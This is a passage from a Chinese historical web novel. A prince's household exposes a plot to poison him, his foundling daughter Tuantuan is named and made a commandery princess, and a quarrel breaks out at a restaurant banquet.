萧元华脸色大变,心中念头飞转,扑通一声跪倒在地:“嫂夫人!原来,我是被奸人骗了啊!多亏了郭太医医术精湛,识破骗局,才未铸成大错!“
“我这就去,将那奸人擒了,交给嫂夫人处置!”
程如安没有理他,对郭太医道:“辛苦郭老了,今日天色已晚,请郭老在府中客房暂住一晚,明日再回。来人,送郭老去厢房。”
“多谢王妃。”郭太医行了个礼:“老夫能有幸精研此道,解得此药,多亏了小小姐这件宝物,烦请王妃将此物归还小小姐,老夫告退。“说完,将铃铛放在桌上,转身离开。
程如安看着铃铛,想起女儿,心中一片温暖柔软,若没有团团,府中这一团乱麻般的局面,真的是永无能解之日了。
郭太医走后,程如安才看了眼萧元华:“萧二。“
萧二上前一步:“二爷,小人亲眼所见,这药丸是前日侧妃去您的府上交给您的。“
萧元华脸色铁青,知道事情已经彻底败露,此时他哪里还顾得上方清研的死活,保住自己的命才最要紧:“嫂夫人!是她勾引的我!引诱我将这药献给王兄!“
“她说这是方府的老仆给她的,又用美色蛊惑我让我听她的,不是我找来故意加害王兄!嫂夫人不信,可让她来与我当面对质!“
“不是我想害大哥啊!嫂夫人!“
“若不是你早就想继承王府,对我这个大哥取而代之,她又如何能与你狼狈为奸?“萧元珩走了进来。
看到他身形魁梧,面色红润,脚步稳健,萧元华全明白了,他果然已经完全恢复了。
谋害长兄,图谋权位,何等大罪,若是萧元珩将自己交给官府,按律处置,那等待自己的,便是千刀万剐之刑了。
他连滚带爬地扑了过去,抱住了萧元珩的双腿:“大哥!弟弟错了,看在咱们血脉相连,兄弟一场的份上,大哥,求你饶了我吧。“
“你说呢?“萧元珩稳稳坐下,对着刚刚被下人押着走进来的方清研问道。
萧元华刚才的话,方清研在门口已经全听见了。
她脸色苍白,俯视着萧元华:“你个没刚性的下流坯子!自己卑鄙无耻,贪图权位,求我帮你,如今东窗事发却将事情全推在我身上!“
萧元华不去看她,只死死抱着萧元珩的双腿不停哀求:“大哥!你不要相信她!是她!就是她勾引我做的!求你饶了弟弟吧。“
萧元珩摆了摆手,萧二退了出去,片刻后,拖进来一个人,正是江远。
江远衣襟凌乱,浑身都是伤,脸上更是布满了一道一道的血痕。
方清研呼吸一滞,一颗心彻底沉到了谷底。
萧二把江远往地上一扔:“说!将你今日招认的一切,重新说一遍!“
江远缓缓抬头,环视四周,目光在方清研的脸上停留了一瞬便躲开了。
萧二对他用了一天的刑,此刻他全身剧痛发热,早已吓破了胆。
他趴在地上不停地磕头,将一切都说了出来:“小人,小人是侧妃的表兄,与侧妃从小一同长大。她,她嫁入王府后便经常说,她本该是正妃,如今却只能做个妾室,居于人下。“
“所以,她,她勾引我与她苟合,让我找来毒药暗害王爷。“
“她允诺小人说,说只要王爷身故,二爷继承王府,便用同样的方法解决了二爷,然后,然后让我,让我接手王府的商行。“
“从此以后,我,我掌管商行,她坐镇内宅,王府的财富地位,便尽数归她所有。我,我也能自由出入王府,与她光明正大,双宿双飞了。“
“王爷!求您细想,若不是她告诉小人,小人哪里知道王府的事情啊!王爷!小人只是被她引诱蛊惑,又被她以给我生的女儿在她手中当做威胁,所以小人才不得不从啊!“
江远此时已经豁出去了,横竖也是跑不了了,推给方清研越多,自己的罪责便越少,什么金钱,地位,女人,都不及自己的性命重要。
他猛地抬手一指方清研:“是她!都是她谋划了一切!王爷啊!她是王府侧妃,小人不过一介白衣!如何能够违逆?小人只是听命行事啊王爷!“
“求王爷明鉴!求王爷饶了小人的性命!“
第33章 究竟是谁的女儿
此番话一出,第一个愣住的是萧元华。
他缓缓站起,走到方清研面前,震惊和愤怒令他满面通红,目露凶光:“原来,你勾引的不止我一个!你花言巧语百般诱惑,却只是想拿我当跳板!你居然还想害我?贱人!“
抬起手,他用尽全力给了方清研一个耳光:“你这个贱人—!
“啪!”一声脆响,方清研被他这一巴掌扇倒在地,摔倒在江远的身旁,江远一惊,急忙向一旁爬开了几步。
方清研嘴角慢慢的渗出了鲜血,鲜红的血液,蜿蜒流淌在她惨白的面颊上。
她抬手抹了下嘴角的鲜血,看着手上的鲜红一片,笑了出来:“哈哈哈……”
声音越来越大,笑得非常凄惨,却也异常畅快,但很快,笑声渐渐转为了哭声,逐渐弱了下去,变成了一片呜咽。
萧元珩面沉如水,程如安神色黯淡,满屋子的人都默默地看着她。
终于,萧元珩开口了:“将萧元华押进私牢,严加看管。”
萧元华心里一松:命保住了。
萧二挥了挥手,门外进来两个侍卫,将他押了出去。
萧元珩指了指江远:“把这碗水,给他灌下去。“
江远大惊,还想求饶,萧二手疾眼快,抬手便卸掉了他的下巴,将桌上仍旧游动着蛊虫的水,全部灌进了他的口中,又等待了片刻,回手一扣,把下颌骨给他合上了。
江远趴在地上使劲抠着嗓子,想将蛊虫呕出,却已经来不及了,这蛊虫效力如何,他比谁都清楚,立时心如死灰,再也支撑不住,眼前一黑,栽倒在地。
“拖下去,关进私牢,每日茶饭不缺,让他也尝尝被蛊虫蚕食的滋味。你们都退下吧。“
“是!“萧二拖起江远,带着所有的侍卫,退出了养正轩。
“至于你。“萧元珩俯视方清研:”安儿,收拾出一间静室给她,终身不可出,让她在里面日日抄经忏悔。“
程如安点了点头,看了方清研一眼:“是。妾身这便去安排。“说完便退了出去。
偌大的正厅中,只剩下了萧元珩和方清研两人。
方清研此时已安静下来,室内一片死寂。
萧元珩紧紧盯着她:“我只问你一句:姝儿,究竟是谁的孩子?“
方清研猛地抬起头,与他对视,一双黯淡的眸子渐渐射出精光:“姝儿?你还记得起她?“
她缓缓直起上身:“我父亲曾经位列三公!我是嫡女!本该是我做这王府的主母!若不是因为他获罪被贬,我又如何只能做了你的妾室,天天看着程如安的脸色度日,凭什么!“
“我看她的脸色也就罢了,我的姝儿就因为是我生的,便只能是个庶女,也要看她的脸色!又凭什么!”
“我的孩子,就应该是嫡出!我想给自己挣个前程有什么错?我想让姝儿不是庶女而是嫡女,又有什么错?”
萧元珩眉头微蹙:“自你进府,安儿从未苛待过你……”
”我不稀罕!“方清研大声地吼了出来:”谁稀罕她的惺惺作态!我自幼金尊玉贵,用不着她来施舍!“
萧元珩摇了摇头:“你真是无药可救,我没功夫听你胡言乱语,
就问你最后一次,姝儿,究竟是谁的孩子?“
程如安悄悄走了进来:“王爷,安排妥了。
方清研缓缓站起,挺直了腰背:“我都不知道她是谁的孩子!要杀要剐,悉听尊便。“
“来人,带她去吧。“程如安摆了摆手,刘嬷嬷带着两个下人,将方清研带了出去。
方清研跟着她们,来到了王府角落里的一个狭小的房间,里面仅有一桌,一椅,一床。
桌上摆好了一摞经书,经书旁,笔墨纸砚一应俱全。
随着大门合拢,门锁在外面“咔嚓”一声落下,方清研这才浑身瘫软地坐在了椅中。
她拿起一本经书,无意识地用手指慢慢摩挲,低声喃喃:“姝儿,你爹是注定活不成了。如今哪怕我发誓赌咒,王爷也不可能相信你是她的女儿了。”
“所以,娘才那样跟他说,只有他无法确定你是不是他的女儿,才会对你网开一面,你才能不被娘牵连。”
“娘筹谋数年,却一败涂地,我可怜的姝儿,娘以后,都护不了你了。”泪水缓缓滑落,一滴一滴地落在了经书上。
此时,萧元珩和程如安已经回到了内室。
程如安宽慰丈夫:“方清研的话,王爷莫要放在心上,姝儿本性并不坏,如今离了她,倒是件好事。我多派几个教养嬷嬷去凌霜阁,好好教导就是。”
萧元珩点了点头:“内宅之事,你处置即可。今日辛苦你了。“
程如安笑得温柔:“不辛苦,只要王爷和孩子们都身子康健,家宅平安,我多辛苦都是乐意的。二爷……便这样一直关着?“
萧元珩眉头微蹙:“元华自幼心高气傲,不甘在我之下,但即使没有我,他只是庶出,又身无寸功,若无人帮扶,这宁王的封号也不可能落在他的头上。
“所以我想,他身后必定还有旁人。郭太医既然说蛊虫无毒,那我中的毒又是什么?从何而来?这些恐怕都要问了他方能知晓。”
“他自幼娇生惯养,吃不得苦受不得罪,便先关他些日子,磨磨他的性子,再细细盘问。团团既然说了,他不是王府血脉,那这里面的事情,恐怕并非夺嫡那么简单。“
“先不必理他。“萧元珩面色郑重:”安儿,团团的来历,要有个冠冕堂皇的说法才行,否则即使有嫡女之名,在外面,也依旧会被人诟病。“
“王爷的意思是?“
“此事我已想了多日,如今府中的事情已了,明日我便进宫,给团团请封郡主。“
“五年前,恰好我出征平叛,你的性子,又最是安静,平日里不爱结交旁人。“
“正好这样:就说我走后你方知已有身孕三月有余,因我在外征战,因此并未声张。
“团团出生之后,恰逢一大师云游经过,占了一卦,说团团体弱,且与王府八字不合,若想平安长大,必须送到别处,养到5岁之后方可抱回。”
“如今时日已满,故于今岁将其接回。安儿,你觉得如何?”
程如安一脸惊喜:“王爷所言甚是!如此一来,团团就不再是来历不明了,既是我亲生,这嫡女的身份名正言顺,再无人有何异议了。”
“只是……”她微微皱眉:“王爷苏醒前,团团已入府多日,方清研母女又一直容不下她,恐是,这京城中,已有不少人都听说过团团是我捡来的,这……“
萧元珩眼睛一瞪:“那又如何,谁敢质疑,尽管来王府当面与我分辨!“
程如安笑了:“是是是,是我多虑了,如今王爷已醒,那些人自是不敢再嚼什么舌头了。”
萧元珩继续道:“明日,我便进宫,觐见圣上,将此事禀明,为团团请封个郡主的头衔,我萧元珩的嫡女,理应有此尊荣。今后与那些皇亲国戚们相处,岂能让团团低人一头。”
第34章 马不停蹄的爹爹
程如安默默点头:“好,都依王爷。”
“不过王爷,既然要为团团请封,总该有个正式的闺名才是。”
萧元珩一怔,不禁拍了下脑门:“我心急了,确实如此,团团不能总叫团团,封赏的圣旨上,也是要写闺名的。”
“王爷,团团她……与旁人不同,这闺名,我等世俗之人,不好妄断,不如,明日咱们一同带着她去拜见国师?由国师给她定名。“
“国师若肯,一来彰显尊贵,二来跟团团出生的说辞也更加贴合,旁人便更不敢多言了。“
“还是你想得周到,也罢,明日先带团团去拜见国师,有了闺名后,再带她祭祖入谱,而后我再去给她请封不迟。“
两人商量定了,方一同歇下,时隔两年多,终于又能同榻而眠,这一觉直睡到了将近正午。
睡醒后,程如安吩咐给团团换上一身外出的衣裳,带到养正轩来。
团团一进门,就扑到她怀里:“娘亲!你怎么才醒啊!我睁眼都没看到你!“
程如安俯身搂住她:“娘亲在爹爹这里啊!看,爹爹好看吗?“
萧元珩一身硃色衮龙袍,头戴翼善冠,衣冠整齐地走了进来。
团团仰起小脑袋,目瞪口呆地看着自家爹爹。
哇哇哇!爹爹今日,真威风啊!本来就好看,现在这头发,这衣服,简直好看得不得了!
萧元珩看了一眼女儿的小模样,微笑着将她抱了起来:“小乖乖,喜欢爹爹这个样子吗?“
团团伸出小手,轻轻地摸了摸他的发冠,又摸了摸袍子上的蟒纹:“好看!太好看了!爹爹,你怎么能这么好看啊!“
两个大人闻言,都不禁莞尔。
萧元珩道:“因为团团好看啊!爹爹当然也要好看才配得上我的小团团嘛!“
团团开心地把小脑袋贴在他的脖颈里:“嗯嗯!“
一家三口一起用过了午膳,上了马车,来到了国师府。
宁王大驾亲临,下人们不敢怠慢,急忙将他们请进了正厅。
片刻之后,国师楚渊走了进来。
萧元珩道明来意,楚渊点了点头,目光落在团团身上。
团团坐在爹爹的腿上,歪着小脑袋也看着他:“你是谁啊?”
楚渊微微一笑:“我乃尘世一凡人。“
团团眨了眨眼睛:“凡人是什么啊?“指了指自己:”我也是凡人吗?“
楚渊没有答话,默默地看着她,目光闪动,眼神复杂。
夫妻二人心里一震,紧紧盯着楚渊。
半晌,楚渊看向程如安:“若贫道所料不错,上次王妃拿给我的断福蛊,便是这位小施主发现的罢。“
天眼道人果然名不虚传!只是不知,他还看出了什么。程如安勉强压住心里的惊诧,点了点头。
楚渊又看向萧元珩:“王爷主意已定?欲将这位小施主立为亲生嫡女?“
萧元珩正色道:“是,不知国师是否肯给小女赐名?“
楚渊点了点头:“机缘如此,贫道只可顺天而行。从此小施主便姓萧,名宁昭吧。“
程如安问:“昭字,何解?“
楚渊轻轻答道:“天道昭昭。“
二人对视了一眼,没再深问,命团团给楚渊行礼谢过了赐名之恩,登上马车回到了王府。
走进王府,两人分别领着团团的一只手,径直来到了祠堂。
走之前程如安已经命刘嬷嬷安排好了一切,此时,老夫人,萧宁辰,萧宁珣都已经穿戴整齐,等在祠堂中了。
团团看见他们开心地跑了过去:“祖祖!二哥!三哥!你们都来啦!”
萧宁珣将她一把抱起:“对啊!我们都在等团团!一会儿呢,团团要乖乖地跟着大家,给祖宗们行礼。”
团团一脸疑惑:“三哥哥!我给祖宗们磕过头了啊!又要磕吗?”
程如安走上前,给她耐心解释:“对啊!因为团团今天有了闺名啦,要把团团的闺名告诉祖宗,还要把团团的闺名写在族谱上。”
“族谱是什么?”
“就是一本册子,上面有祖宗们的名字,还有咱们全家人的名字。祖母,爹爹,娘亲,几个哥哥们的名字都已经在上面啦!团团愿不愿意把自己的名字也写在上面呢?”
团团想了想,很认真地点了下头:“愿意。”
“真乖!来,下来吧,给祖宗们磕头行礼。”
老夫人冲着顺姑点了下头,顺姑会意,走到祠堂外,带着下人们鱼贯而入,将太牢三牲和五果六斋整齐地摆在案上。
萧元珩上前焚香,奠酒,下跪行礼,众人在他身后依次跪拜。
萧元珩神情肃穆,声音清亮:“列祖列宗在上,不肖子孙萧元珩,今率阖族,奠献于前。“
“仰惟祖宗之德,佑我门楣,今有小女萧宁昭,毓秀钟灵,谨请录名入谱,永承禋祀,伏惟尚飨!”
老夫人恭敬地请出锁在神龛中的族谱玉册,置于香案上。
萧元珩亲自执笔,在族谱自己和程如安的名字下方,工工整整地写下了团团的闺名,萧宁昭。
他抱起女儿,用手指着刚刚写上的三个字:“团团,你看,这便是你的名字,萧宁昭,爹爹已经写在族谱上啦!团团高兴吗?”
团团盯着自己的名字,原来这就是我的名字!可是,她的眼神开始四处寻找:“哥哥们的名字在哪儿呢?”
萧元珩手指上:“在这里,看,萧宁远,萧宁辰,萧宁珣。”
团团放心了:“好哎!我跟哥哥们在一起!”
萧宁辰和萧宁珣听见后唇角都压不住了,妹妹真好,总是惦记着哥哥。
仪式结束,程如安吩咐:“今日阖府上下,皆赏三个月的份例!”
下人们听了,也都欢喜非常。
萧元珩将团团放到萧宁珣怀里:“带你妹妹去玩玩罢,今儿她一直拘着,估计也闷了。”
“是,父亲。”兄妹三人开开心心地跑走了。
萧元珩换了轿子,马不停蹄地来到了皇宫,萧二递出腰牌:“烦请传告:宁王萧元珩求见陛下。”
守门的官员不敢怠慢,立时将腰牌传了进去,不多时,一名太监快步走出宫门高声宣唱:“陛下有旨,宣宁王觐见!”
那太监满面笑容,上前一步:“王爷万福!陛下有旨:‘宁王大病初愈,特恩赏乘轿入见,免其劳顿。’轿子已备好了,王爷,您请!”
萧元珩点了点头,从自家轿子走出,钻进了皇帝御赐的轿辇。
萧二上前一步,将一个红包塞到了那太监的袖筒中:“有劳了,公公。“
那太监眉开眼笑地谢了,随着轿辇来到了皇帝日常起居所在的紫宸殿外:“王爷,到了,您请。“
第35章 震动京城
萧元珩大步走入紫宸殿,皇帝萧景昀一身常服,正坐在案后看着奏折。
萧元珩下跪叩拜:“臣萧元珩,参见陛下!“
萧景昀放下奏章:“快快请起,赐坐,上茶。“
站在他身旁的御前总管太监程谨言程公公急忙走过去,双手将萧元珩搀扶起来,给他搬来锦凳:“王爷请起,陛下前日还念叨您呢,可是牵挂得紧。“
萧元珩坐下:“多谢陛下。“
萧景昀仔细看着他:“皇叔,今日面色不错。”
“托陛下洪福,臣已痊愈。臣今日前来,是有一事想求陛下恩准。”
“皇叔请讲。”
“请陛下给臣的嫡女钦赐郡主头衔。”
萧景昀有些奇怪:“朕若是没有记错,皇叔膝下并无嫡出子女。这位嫡女是?“
“陛下所记不错。臣的嫡女团团,生于五年前臣外出平叛之时。“
萧元珩不慌不忙,将与程如安商量好的那番说辞,以及团团进了王府后,王府内的诸多变化简单说了一遍。
“今日,小女团团已蒙国师赐名萧宁昭,记入族谱。因此,臣才特意进宫来为她求个封赏。“
“团团?”皇帝微微一笑:“这乳名听着甚是可爱。国师竟肯亲自赐名?皇叔这位嫡女不同一般啊。”
他顿了顿:“当真是,自她入府,宁王府便一切顺遂?”
萧元珩正色道:“正是。如今不但臣的母亲眼疾痊愈,臣的二子,三子身上宿疾见好,就连臣自己的身子,都已经恢复如初了。“
皇帝微微一笑,并未将他的话放在心上,只当是自己这位皇叔宠爱幼女,才将所有的好事都算在她的头上:“如此甚好。”
“既是皇叔嫡女,又得国师赐名,理应赐封郡主。”
萧元珩起身行礼:“谢陛下。”
“不必多礼。皇叔身子痊愈,本就是大喜,如今父女团聚,更是喜上加喜,传旨,命礼部拟旨,多备赏赐,明日随圣旨一同送至宁王府。”
萧元珩再次叩谢:“谢陛下隆恩,臣告退。”
皇帝摆了摆手,语气随意了些:“皇叔闲暇时,记得带她进宫走走,让朕也见见这孩子。”
“臣遵旨。”萧元珩说完,恭恭敬敬地退了出去。
次日一早,王府门前张灯结彩,红毯铺地,香案陈列,一家人都在等着圣旨的到来。
巳时刚到,程公公便带着一队小太监来了。
萧元珩带领全家一齐跪拜接旨。
程公公展开怀中圣旨,高声宣读:“奉天承运皇帝,制曰,
宁王嫡女萧宁昭,幼而聪慧,钟灵璇室,册封为嘉佑郡主。”
“另赐:赤金累丝头面全副,东海明珠一斛,云锦、蜀锦各二十匹,紫檀木雕花嵌玉屏风两架,并田庄两处,计一千八百亩。“
萧元珩道:“臣携全家,叩谢皇恩!“
程公公将圣旨交予萧元珩:“王爷痊愈,陛下甚是欣喜。王爷得空,不妨多来宫中走动走动。“
萧元珩心中一动,这位程公公已年近五旬,是先帝留在今上身边的老人儿,于宫中浸淫数十载,他说的话,往往都颇有深意。
“谢公公提点,本王知道了。“
“王爷客气了。“程公公又从身后小太监手中取过郡主的金册金印递到他手里,笑眯眯地问:“哪一位是嘉佑郡主?“
程如安连忙领着团团走了过来。团团仰起头,好奇的望着他:“娘亲!这个老爷爷是谁啊?”
“不敢当郡主一声爷爷,喊我翁翁就好。”程公公从袍袖中掏出一只小匣子递到她手里:“这是杂家送给郡主的小玩意儿。”
程如安连忙道:“程公公有心了,团团,快谢谢翁翁。”
团团双手攥着那小匣子,非常乖巧地行了个礼,仰起小脸蛋,笑得酒窝深深,奶声奶气地说了一声:“谢谢翁翁,翁翁送团团礼物,团团很高兴。”
程公公被她萌得心头一颤:“哎呦这孩子!真是灵透!”
团团笑得更甜了:“翁翁别走,等等我。”说完转身向府内跑去。
萧宁珣马上跟着她也跑了进去。
不多时,两个孩子出来了,团团惦着脚尖,把刚才那个小匣子捧到程公公手中。
“这是娘亲给我做的桂花糕,特别好吃,可甜啦!翁翁多吃些,这个盒子太小,装不下了,下次翁翁带个大盒子来,我再给你拿!”
程公公喜欢得不行:“怨不得王爷疼爱,杂家也是头一次见到郡主这般乖巧的孩子!”
萧元珩微笑着摸了摸女儿的头:“团团真乖。”
“王爷有福了。”程公公给宁王夫妇行了礼,带着一众小太监离开了。
不过才几个时辰,御前总管太监亲临宁王府宣旨的消息就如同生了翅膀一般,传遍了大街小巷,各个角落。
“听说没有?宁王醒了!不但醒了,还跟从前一样,神采奕奕!”
“可不是嘛!今儿可是好多人亲眼瞧见的!宁王跟没事人儿一样,什么病都没有啦!“
“那可是大喜啊!当年若不是宁王浴血奋战,守卫边疆,咱们哪有现在的太平日子过!“
“今儿一早,宫里的太监就去宁王府宣旨了呢!“
“圣上有旨?什么旨意?”
“我正好经过,听了一耳朵,好像是给宁王的嫡女封了郡主!”
“宁王嫡女?宁王不是只有一个庶女吗?”
“听说啊,是生下来就养在外面了,如今才抱回来没多久。”
“对对!我也听说了,他家下人都传遍了,自从这个小嫡女回来后啊,宁王就醒啦!福气得很!”
“那可真是个福星!宁王这病可是好些年都没治好呢。”
“可不是嘛!这小嫡女的名字,听说还是国师赐的呢!国师哎!”
一时间,宁王痊愈,嫡女回府,陛下钦赐郡主的消息,无人不知,无人不晓,震动了整个京城。
整个王府,因为这几件大喜事,从上到下,兴高采烈,欢喜非常。
只有一个院落,冷冷清清,毫无喜气,正是凌霜阁。
凌霜阁并未解禁。
自从方清研被关进了静室,程如安就给萧宁姝拨了好几个教养嬷嬷过来,每日不停,悉心教导。
萧宁姝向见到的每个人苦苦追问方清研的下落,得到的回答全都是,侧妃娘娘身子不好,已迁居别处静养,四小姐不必担心。
娘根本就没有病!一定是出事了。
可是,出什么事了呢?
海棠和春桃都被派到了外面做粗活,每日除了轮番来教导她的几个教养嬷嬷和两个眼生的小丫头,从前凌霜阁的下人,都不见了。
萧宁姝在焦急,恐慌,终日难安中,听到了下人们的私下闲聊:“小团团就是招人疼!王爷昨日进宫,今儿一早圣旨就来了,封了那叫什么,对了!嘉佑郡主!”
“可不是呢!说来也真是啊,自从团团来了咱们府上,这喜事是一桩接着一桩,王爷都没事儿了!这个郡主啊!封得好!”
“可不是嘛!你们就算算,自她来后咱们都领了多少回赏钱了!真是托了那孩子的福!”
萧宁姝越听越是愤怒,胸口像被一只无形的大手狠狠攥住了,一股滚烫的火焰从里面迸出来,烧得她喉咙发紧,舌尖都尝到了铁锈的腥气。
她死死抠住桌角,指甲几乎都要折断,一个字,一个字地从牙缝中轻轻挤了出来:“嘉,佑,郡,主。”
第36章 有人抢我的菜!
傍晚时分,宁王府为团团准备的家宴开席。
全家围坐在桌边,“哇!好多好吃的!“团团看着一大桌子的菜,笑得脸上的酒窝都深深地陷了下去。
“来,先尝尝这个,这道菜是祖祖特意吩咐做给你吃的。“程如安夹了一筷子,放到了团团面前的碟子里。
团团乖乖地吃了:“好香啊!祖祖真好!谢谢祖祖!“
老夫人笑得合不拢嘴:“团团喜欢就好!爱吃就多吃些。“
“嗯!“团团使劲点头。
“再吃口这个,这是我亲自下厨给你做的,团团做了郡主,娘亲可高兴啦!“
“好!“团团想起来了:”娘亲!郡主是什么东西啊?“
程如安一边将更多的好吃的夹到她的眼前,一边耐心地给她解答:“郡主呢,是个头衔,就像爹爹的头衔叫做宁王,团团现在的头衔呢,就叫嘉佑郡主。“
团团指了指自己:“嘉佑郡主就是我!“
“对啦!这个头衔呢可不是谁都有哦!是爹爹去跟皇上说,团团呢,是咱们王府的嫡女,皇上开口,团团才成了嘉佑郡主。“
“哦——!“团团懂了,她从椅子里滑到地面,来到父亲面前,爬到他的腿上,萧元珩连忙伸手把她扶住。
团团搂着他的脖子,在他的脸上吧唧亲了一口:“爹爹真好!谢谢爹爹!”
萧元珩抱着她,眉开眼笑。
萧宁珣冲团团招了招手:“团团,来三哥这儿,三哥喂你吃鱼,刺都择好啦!”
团团一听,颠颠儿的又跑到了三哥的怀里。
萧宁辰皱了皱眉:“你择干净没,别扎着她。”
团团吃了一大口三哥为自己择的鱼肉:“不会的!二哥哥!”
就这样,团团不停地在几个人身边跑来跑去,一家子大人你喂她一口,我又喂她一口。
门外传来了下人的声音:“陆家二公子派人送来请柬,正在门外候着,等着回信儿。“
“拿来。“萧宁辰接过请柬,念了出来:”明日午时,于碎金阁设薄宴,庆贺团团册封嘉佑郡主之喜。恭请宁王府尊亲,共襄喜乐。陆清嘉敬上。“
“陆二!小话梅!“团团听到陆清嘉就想到八哥鸟小话梅,马上喊了出来。
萧宁辰哼了一声,“胡闹!怎么能带团团去碎金阁那种地方!“
“碎金阁是什么地方,好玩吗?二哥哥,我不能去吗?“团团一脸疑惑。
“碎金阁啊,是京城最大,最豪华的一个酒楼。二哥,团团帮过陆二,陆二很喜欢她,不妨事的,我带她去。“萧宁珣对妹妹毫无抵抗力,见她满脸好奇,马上主动请缨。
“不成!碎金阁那地方那么大,人又多,鱼龙混杂,这个陆二!在他府上设宴不久行了,偏挑了这么个地方!“萧宁辰坚持不同意。
下人接口:“陆府来的人说了,他家二少爷已经订到了明日的碎金羹,还请郡主务必出席。“
“难怪,陆二有心了。旁的也就罢了,这碎金羹确是难得。“程如安点了点头,做了主:”告诉来人,明日郡主准时赴宴。“
“是。“
她看向萧宁辰:“不必担心,明日让珣儿带团团去,那碎金羹团团还没有吃过,去尝个鲜儿吧。”
“碎金……什么羹?”团团没有听懂。
程如安给她解释:“碎金羹是碎金阁的招牌菜,用料考究,制作繁复,每日仅得一小瓮,分盛不过三五盏,味道鲜美无比。“
“陆二为了庆贺你获封郡主,竟然订到了这个,也是不易。”
团团听到鲜美无比,不禁咽了口口水:“咱们一起去嘛,好不好,娘亲?祖祖,爹爹,娘亲,二哥和三哥,都去!”
程如安笑着摇头:“咱们一家人若是都去,那碎金羹可就不够分啦!明日是陆二的宴席,你三哥陪你去就行了。”
萧元珩问儿子:“辰儿,你的腿如何了?”
萧宁辰道:“已恢复了十之七八,母亲的意思,待完全好了,我再出门走动。”
萧元珩点了点头:“理应如此,我也不放心你此时便出门。”
团团走到萧宁辰身边,心疼地摸了摸他的双腿:“二哥哥的腿还在痛啊?”对着他的双膝吹了口气:“团团再吹吹,痛痛快飞飞。”
萧宁辰心中大动,将妹妹一把抱起放在腿上:“二哥哥的腿已经不痛啦!只是还需要些时日才能完全恢复罢了,团团不用担心,来,二哥给你夹这个,再吃一口。”
团团张开小嘴吃了,看着二哥,甜甜地笑了。
次日正午,碎金阁。
碎金阁临河而建,伫立于繁华街市的一隅。
其形制并非寻常酒楼一般的飞檐翘角,反而更近于碉楼,楼高足足五层,向上收分,愈高愈显孤峭。
门前高悬着一盏巨型琉璃灯,豪气非常,是皇亲国戚,达官贵人们经常设宴请客的地方。
大门左右各挂了一幅字:“疏影横斜水清浅,暗香浮动月黄昏”
团团仰着小脑袋,看向那琉璃灯:“好大哦!亮闪闪的,真好看!“
萧宁珣把她抱起来,让她能看得更清楚:“琉璃可是难得的东西,一小块就价值不菲了。这盏琉璃灯如此之大,京城中仅此一个。“
跑堂的小二迎了出来:“请问贵客是?“
萧宁珣道:“宁王府,嘉佑郡主。”
那小二连忙行礼:“原来是嘉佑郡主驾到,小店蓬荜生辉!陆家二少爷已经在楼上等候多时了,小人名叫十一,有什么吩咐您尽管开口,二位请随我来。”
萧宁珣抱紧了妹妹,跟着十一上了五楼,走进了一个叫浮光厅的雅间。
“小盟主!你可来啦!”陆清嘉一看到团团,马上站了起来,伸手就想从萧宁珣的手里将团团接过去。
“陆二!小话梅呢?”团团见他向自己伸手,也展开小手准备爬过去找小话梅。
萧宁珣一扭身,让两人的手都落了空,抱着妹妹稳稳地坐在桌边的锦凳上,瞪了他一眼:“老老实实坐着吧你!”
“扑哧”,白简行笑出声来:“小盟主可是萧兄的眼珠子,他能给你抱?”
陆清嘉讪讪地笑了笑:“小盟主那么可爱,我只是想抱一抱嘛!小话梅刚刚飞出去玩了,一会儿就回来。”
团团撅了撅嘴:“又没见到小话梅!“
萧宁珣见了,赶紧岔开话题:“追风如何了?“
陆清嘉还没张口,白简行抢了先:“那天的马球赛,追风可谓一战成名!现在啊,好多人都求着陆二,想试试骑上追风的感觉呢!“
团团拍着小手高兴起来:“追风最棒啦!“
萧宁珣微微一笑,没看见小话梅,一提追风就好了,妹妹真是好哄。
见人都到齐了,陆清嘉冲着门外喊了一声:“十一!上菜!把碎金羹端上来!”
十一在外面答话:“好嘞!五楼浮光厅,上碎金羹!“
团团好奇地打量着周围,外面的日光透过窗棂洒进来,屋内全是细碎的光影,如梦似幻,好看得不得了。
团团伸出小手,那些细碎的光影马上也散满了她的小手:“哇哦!真好看!三哥哥!“
萧宁珣给她解释:“这碎金阁的名字呢,就取自你看到的这个景儿,它用彩色的琉璃代替了部分窗子,所以呢,无论是日光还是月光照进来,都有如被筛子筛过,光影如同一地碎金。”
正说着,小话梅从雅间的窗户里飞了进来:“来啦!来啦!”
团团兴奋地举着双手去接它,小话梅围着团团的头顶飞了几圈,稳稳地落在了她的手上。
团团抱着小话梅,给它轻轻地梳理着羽毛:“小话梅!我好想你哦!”
几个人闲聊了半晌,十一仍旧没来上菜。
陆清嘉皱了皱眉:“今日这菜怎么上得这么慢!“站起身推开了雅间的门。
一个熟悉的声音传了进来:“陆二先订了又如何?今天这碎金羹我要定了!“
第37章 打起来啦
陆清嘉抬眼一看,十一手中托着食盘,被拦在了楼梯的拐角处,而拦住他,正在说话的竟然是韦秉安。
两人原本也是曾经常在一起的玩伴,但韦秉安作为镇国侯府庶子,更喜结交同是王侯阶层的子弟,认为将来可以相互提携、彼此倚仗。
因此跟周景安一流越走越近,陆清嘉自此也就跟他疏远了。
没想到,今日却在碎金阁撞见了,居然,还要抢他早就提前预订的碎金羹!
陆清嘉也没客气:“韦三!你干什么?知道是我订的,你还抢?“
团团听见了,问哥哥:“韦三是谁啊?“
“就是在万灵苑里,用兽玲吓唬雪豹的那个。“
团团想起来了:“啊,是那个坏蛋!“
韦秉安看了陆二一眼,半点没让开:“是你定的又如何,小爷我今日宴客,要定了这碎金羹!”
“你一个吏部侍郎之子,敢跟我镇国侯府争?“
陆清嘉嗤笑一声,毕竟曾经常在一起过,他对镇国侯家的事情了如指掌:“你不过是镇国侯的庶子,在家里说话都没人听你的,装什么王侯子弟!“
韦秉安登时一张脸涨成了猪肝色:“闭嘴陆二!你胡说八道什么!“
白简行听见陆清嘉在跟人斗嘴,哪里还坐的住,出来帮腔:“韦三!我们先订好了的!你想要,自己订啊!抢别人的算什么本事!“
陆清嘉不耐烦了:“十一!给我端过来!你若是敢将这碎金羹上到别人桌上,小爷我一把火烧了这碎金阁!“
五楼是碎金阁的顶楼,仅有两个雅间,韦秉安所站地方正是另一个雅间的门口。
只见大门一开,走出了几个纨绔少年:“韦三!今日你这话说得可是托大了,还说请我们尝碎金阁的招牌呢。“
几个人往这边张望了一眼:“看来,今后你的席面我们可不敢轻易来了,菜都端不上来。“
韦秉安闻言顿时急了,这不是当着众人削了他镇国侯府的面皮嘛!“谁说端不上来,十一!给我端进来!“
十一托着食盘,站着没动,哪边都不敢得罪,可碎金羹只此一份,这该如何是好?
“几位小爷,息怒,息怒!都是小店招呼不周,请诸位莫要动气,莫要动气!“
局面一时僵住了。
